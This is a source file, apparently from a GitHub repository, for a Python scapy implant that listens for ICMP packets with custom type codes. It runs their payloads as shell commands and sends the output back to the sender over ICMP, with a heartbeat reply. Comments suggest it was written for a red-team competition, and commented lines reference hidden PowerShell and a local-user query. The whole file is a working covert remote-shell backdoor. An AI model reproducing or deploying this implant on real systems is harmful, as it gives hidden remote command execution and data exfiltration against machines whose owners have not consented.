-
Notifications
You must be signed in to change notification settings - Fork 0
/
beacon2.py
71 lines (58 loc) · 2.39 KB
/
beacon2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from scapy.all import *
import subprocess as sp
import threading
import sys
import socket
import random
"""This is the only way I can thing to pass a file name from one if to aother
There might be a better way to accomplish this but this is the only way I can come up with at the current moment
"""
def cmd_mon(pkt):
typ = str(pkt.getlayer(ICMP).type)
code = str(pkt.getlayer(ICMP).code)
source = pkt.getlayer(IP).src
dest = pkt.getlayer(IP).dst
cmd_proc(pkt, typ, code, source,dest)
def cmd_proc(pkt, typ, code, source,dest):
#ip = "192.168.232.1"
ip=socket.gethostbyname(socket.gethostname())
#print(typ, code, source,dest)
if ip == dest:
if typ >= "44" and typ <= "94":
if code == "0":
instruct = pkt.getlayer(ICMP).load.decode()
result = sp.run(instruct, capture_output=True, shell=True)
try:
if result.check_returncode() is None:
cmdout = result.stdout.decode()
#print(cmdout)
if len(cmdout) >= 1500:
first, second = cmdout[:len(cmdout)//2], cmdout[len(cmdout)//2:]
send_output(first, source, typ, 1)
send_output(second, source, typ, 1)
else:
send_output(cmdout, source, typ, 1)
except sp.CalledProcessError:
send_output("Error, Invalid Command", source, typ, 2)
elif typ == "146":
heart(source, 146)
def breakup(data):
broken = []
def send_output(output, sender,protype,protcode):
send(IP(dst=sender)/ICMP(type=int(protype), code=int(protcode))/output, verbose=False)
""" May have to be from the server due to the fact that ping will be blocked in a competition on the inbound traffic
Or just checking to see if a response is recieved. IDK honestly. Gotta spend time drawing this out
"""
def heart(dest, protype):
send(IP(dst=dest)/ICMP(type=protype, code=1)/"abcdefghijklmnopqrstuvwxyzhi")
def sniffer():
sniff(filter="icmp", prn=cmd_mon)
#def main():
#print("Loaded Rick")
#t1 = threading.Thread(target=heart)
#t2 = threading.Thread(target=sniffer)
#t2.start()
#t2.join()
#cmd_proc("ep Get-LocalUser -Name Guest")
#sp.run("powershell -windowstyle hidden -", capture_output=True)
sniffer()